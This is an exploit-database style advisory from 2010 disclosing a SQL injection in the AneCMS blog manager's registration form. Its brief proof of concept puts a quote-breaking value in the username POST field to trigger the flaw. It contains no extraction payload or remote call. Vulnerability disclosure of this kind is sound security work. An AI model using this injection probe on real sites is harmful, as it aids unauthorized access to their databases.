AneCMS /registre/next - SQL Injection Vulnerability

                                                ############################################################################
#                                                                          #
# Exploit Title: anecms SQli                                               #
#                                                                          #
# Date: 23/08/2010                                                         #
#                                                                          #
# Author: Sweet                                                            #
#                                                                          #
# Contact : [email protected]                                            #
#                                                                          #
# Software Link: anecms.com                                                #
#                                                                          # 
# Download: anecms.com/anecms.zip                                          #
#                                                                          # 
# Version: All                                                             #
#                                                                          #
# Tested on: WinXp sp3                                                     #
# Description : anecms is an open source blog manager                      # 
#                                                                          #
#                                                                          #
#                                                                          #
############################################################################

Sqli:

The POST variable username has been set to sweet'" on http://vulnerable.com/register/next

Poc:

http://www.example.com/register/next

username = Sweet'"

password = test

re password = test

email = [email protected]

then register :]

screen : http://img830.imageshack.us/img830/1213/anecm.jpg









Saha Ftourkoum et 1,2,3 viva L'Algerie :))